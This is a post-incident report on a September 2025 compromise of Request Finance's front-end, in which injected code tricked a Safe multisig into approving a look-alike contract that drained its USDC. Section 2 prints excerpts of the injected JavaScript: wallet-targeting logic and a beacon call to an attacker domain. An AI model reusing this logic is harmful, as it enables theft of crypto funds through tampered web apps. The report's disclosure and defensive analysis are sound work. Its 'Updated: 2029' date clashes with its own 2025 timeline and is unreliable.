Incident summary
On Wednesday September 10th 2025, a Safe multisig wallet got drained of all its USDC ($3+m), following a batch payment of invoices made on Request Finance (RF). The fraudulent transaction was possible because of compromised versions of the Request Finance front-end sources, live from September 1st to September 10th. We could not identify how the keys used to compromise our software were stolen, but we could learn about all the preparation steps.
Status: final report
Updated: 2029.09.30 (V2.0)
You can find the report of security partner, Sayfer, here: https://drive.google.com/file/d/1fJE9ltfcB1_lGjeSDjIHYeLdmAC0lJKq/view?usp=drive_link
Main facts
Compromised contract: https://etherscan.io/address/0x3cf6e5a3939f1e9e314f60417ceb9b5e9b66c03f ☠️
Legit and safe contract used as reference: https://etherscan.io/address/0x3cf63891928b8ceebb81c95426600a18cd59c03f ✅
Funds stolen from this multisig wallet:
Batch transaction approving the malicious contract:
Incident logs (UTC)
1. Background work (smart contract, app discovery by attackers)
2025-07-10 attackers create an account with [email protected] (named John below)
2025-07-10 attackers create an account with [email protected] (named Daniel below)
2025-07-11 attackers create an account with [email protected] (named Jonny below)
2025-07-11 attackers test the app by having Jonny send 3 bills to John.
2025-07-11 first payment directly linked to pre-hack testing and discovery (2 USDT)
2025-07-17 attackers test the app by having Jonny send 3 more bills to John
2025-07-17 first batch payment of 1 of the 3 bills created the same day, + another bill sent by Daniel (5 USDT x2)
2025-07-30 AWS user fider ran ListBuckets from 158.62.198.195
2025-08/2025-09 the attackers create other accounts, and bills, and make other payments. (11 free accounts are created in total, public list of emails here)
2025-08-11: AWS user gh-actions-invoicing ran ListBuckets from 158.62.198.195
2025-08-12: oldest evidence of local development, as indicated by the way these users authenticate. (Due to our log retention window limit, there might be older local development practices)
2025-08-28: AWS user gh-actions-invoicing ran GetBucketWebsite from 185.18.222.251
2025-08-29: attackers create a Safe wallet used for testing, its address is 0xDE6320e3365cA26af4ca57762dbc5DA3c940f08f and we refer to this address as fraud_f08f_safe.
2025-08-29 03:00pm: the attacker creates the compromised contract, named BatchConversionPayments like our most used contract, with a similar programming interface, very close address, and even similar activity. The legit contract and this contract have the same first and last characters: 0x3cf6...c03f. This contract has an additional method `claimToken` that the attacker can call to empty the victim's wallet (up to its ERC20 allowance).
2025-08-29: attackers register the domain digitalcap.live which is later used as part of the attack.
In total, over 2 months, attackers will use 55+ wallets (public list here):
5 wallets to make test payments (likely to discover the platform)
34 wallets to interact with the fraudulent contract (including deployment, mocking activity, testing)
6 wallets that are ready for further tests with the relevant approval
11 other wallets to interact with above wallets one way or another
(more wallets to convey funds and gas for above actions)
2. Front-end Attack and theft preliminaries
2025-08-27 10.39am: RF publishes the clean release 1.144.0
2025-09-01 10.05pm: First compromised version of the front-end. It targets 2 wallets: the future victim’s wallet and the fraud_f08f_safe. We could observe the first calls to digitalcap[.]live backend, with POST methods used to follow-up on the code being executed. Find below one example of injected call (“[.]” was added for this report):
// Symbols const symbols = Object.values(paymentAmountsPerCurrency ?? {}).map((item: any) => item.currency.symbol); if ((symbols.includes("USDC") || symbols.includes("usdc")) && (fromAddress?.toLowerCase() == "0xDE6320e3365cA26af4ca57762dbc5DA3c940f08f".toLowerCase() || fromAddress?.toLowerCase() == "0xE7c15D929cdf8c283258daeBF04Fb2D9E403d139".toLowerCase())) { localStorage.setItem("flag", "true"); } else localStorage.setItem("flag", "false");
const flag = localStorage.getItem("flag"); useEffect(() => { if (flag === "true" && open === true) { try { fetch("https://digitalcap[.]live/pressed", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({"message": "A_Pressed"}) }) } catch (err) { } } }, [open, flag]); |
The compromised front-end files include a logic to grant USDC allowance to the compromised contract, specifically crafted for Safe wallets, that would replace the original approve & pay batch payload. Since the addresses look alike, a victim can get tricked and think the allowance is needed for the contract to work.
2025-09-01 10.11pm: The test user Scott makes a payment attempt to validate the logic, from the fraud_f08f_safe. The same user will make the same payment attempt to validate the logic after the releases on sep-03 and sep-06.
2025-09-01 11.11pm: attackers publish another version, for which we do not have sourcemaps
2025-09-01 11.30pm: attackers publish another version, for which we do not have sourcemaps
2025-09-02 00.04am: attackers publish again the same version as 2025-09-01 10.05pm. Possible explanation: the 2 previous updates didn’t work and made the app crash, forcing attackers to rollback, to remain hidden.
2025-09-03 1.56pm: RF publishes the clean release 1.145.0
2025-09-03 8.10pm: attackers patch 1.145.0 with the same fraudulent logic
2025-09-04 11.31am: RF publishes the clean release 1.145.1
2025-09-04 1.34pm: attackers patch 1.145.1 with the same fraudulent logic
2025-09-06 4.59pm: Second fraudulent version: for the first time after 5 days, the attack opens up and could target other wallets. A fraudulent approval would be attempted for 2 specific wallets (the victim and another frequent contract caller, an EOA), or if the connected wallet had a significant balance, more than $1m worth of USDC. The new target’s wallet is EOA and thus some logic was added to support such wallets. It’s worth noting that both addresses were referenced with variables whose names directly referred to each organization name. On a separate note, this version includes some RPC service reference with an API key, used to check the wallet’s balance.
All comments below are added on top of the original logic, for this report only:
if (inSafe) { # If the connected wallet is the victim’s wallet setIsSafeAddress(true); } else if (inMeta) { # Or if it is the 2nd target (EOA) setIsMetaAddress(true); } else { # Or if the wallet has more than 1 million USDC hasMoreThan1MUSDC(fromAddress as any).then(shouldCheck => { if (shouldCheck) { try { .then(response => response.json()) .then(data => { # We can only guess that the logic behind the backend does not filter wallets but just if (data.ok) { if (data.type == "safe") { setIsSafeAddress(true); } else if (data.type == "meta") { setIsMetaAddress(true); } } }) |
|
2025-09-08 3:30pm : Last evidence of the attacker using local development to craft subsequent versions of their attack.
2025-09-09 7:10pm : First (/3) rogue approval transaction gets submitted for approval to the victim's safe (nonce 159). It will only be executed ~24h later, together with other rogue approval transactions (sent at 7:11pm at nonce 160, and the day after at 4:42pm at nonce 161)
3. Theft 2025-09-10 (UTC)
4:45pm : The rogue USDC approval transactions above, batched with regular batched payments, get executed. The wallet is now vulnerable to the call of `claimToken`
4:46pm : Tx1 is sent and 3m gets stolen
4:48pm : Tx2 is sent and 47.7k get stolen (remaining USDC funds)
6:04pm : Last time files were modified and compromised
6:06pm : Last time the `gh-actions-invoicing` user signed in from unknown source
6:11pm: Last fraudulent release of a third and last version of the logic. There is no more precise wallet targeting, the only criteria for the rogue approval to be injected is for the connecting wallet to hold more than 50k USDC. This is the logic we previously reported in the report v1.1, before we were aware of multiple versions.
~6:20pm : The victim realizes the threat and ask for support
7:19pm : we understand the existence of a similar contract address and notice that allowance was batched with payments
7:27pm : we report the contract as fraudulent to Etherscan (now labelled “Fake_Phishing1347723”)
7:45pm : we try to reproduce so we can understand where the root problem is
8:50pm : we notice CDN files modification date does not match with recent releases
9:01pm : we notice the last activity for `gh-actions-invoicing`, the AWS user used by our CI to publish files to the AWS Bucket
9:25pm : we find the rogue address and surrounding logic on production js files
9:31pm : we force the release of 1.145.0
9:35pm : we remove the permissions attached to `gh-actions-invoicing` , and test that deployments are not possible anymore, and that js sources are still the legit ones
At this stage, the production app is considered safe. Addresses that made recent payments are checked and no other allowance or pending allowance can be found.
4. Forensics 2025-09-11 (UTC)
8:45am : we decide to bring the app down until we can build it and publish it without third-party tools. The back-end is changed to return 500, and a ribbon on top explains the situation.
9:12am : we could confirm that the last version of the attack did not target the victim specifically but instead multisig wallets with > 50k USDC. We later learned the existence of previous versions.
9:51am : forensics are kicked-off with our security partners (Sayfer)
11:08am : we finished parsing all customers wallets and could confirm no other allowance existed, neither onchain or in Safe multisig backends as pending tx
12:29pm : the front-end is back online, built locally and pushed with a one-off authentication key
4:37pm : The attacker's address and contract are reported to Chainalysis
7:30pm: The Safe team reports the relevant fraudulent activity to Blockaid and they flag the contract as suspicious
5. Forensics conclusion after 3 weeks of research
See the Sayfer’s report for more details.
“The working hypotheses on how the attackers obtained the AWS credentials include the possibility that they accessed GitHub in the period before 18 June 2025, which falls outside the available GitHub Actions logs. Activity in this missing window could explain how the gh-actions-invoicing key was exposed or exported. Another plausible scenario is that an endpoint compromise in the same timeframe provided the attacker with the ability to make unauthorised repository changes, which could then be used to extract secrets. Although no direct evidence was found, the possibility of malicious insider activity has not been fully excluded.”
6. Internal action plan for Request Finance’s security
As of September 30th, 2025:
Last forensics bits:
We could learn about the IP address and user-agent used to upload sourcemaps to our front-end logging tool. A ticket is opened.
We could still learn about the RPC service sign-up details, but logs look too old and our request has been hanging for a while.
Github:
Secrets have all been rotated, a majority has already been moved from the organization level to the repository level.
Passwords have been changed (also changed for every software engineering tool)
SSH keys have been changed.
Log retention period extended from 90 days to 400 days
2 non-engineers don’t have access to repositories anymore
AWS:
Releases are currently done manually with short-lived keys
Permissions have been stripped down to the bare minimum
GuardDuty enabled (+ EventBridge +SNS)
CloudTrail Trail enabled
S3 object versioning + lifecycle rules on the production, staging and integration buckets (+ a few others where it seemed relevant)
Other
GCP: Enabled Security Command Center
Database: OIDC authentication for direct access, Google Workspace federation for web app access
Endpoints: EDR in place
Reached out to the other client that was targeted, explained next steps and gave recommendations to segregate treasury and regular operations
Monitoring for all our clients multisig wallets to analyze and report unusual approvals. (In the works: a panic mode will be triggered when approvals are given to addresses looking similar to our legit contracts)
Next steps:
Remove the dependency on secrets for front-end releases
Github and CI: constraint the visibility of secrets by repo and environments so even compromised endpoints cannot access secrets. Secure secrets while leaving some autonomy to developers for hotfixes. Enable CI again after that.
Enforce the use of pnpm minimumReleaseAge
Remove the 2 remaining PATs
Identify clients with poor wallet segregation and advise for more robustness
Front-end integrity checks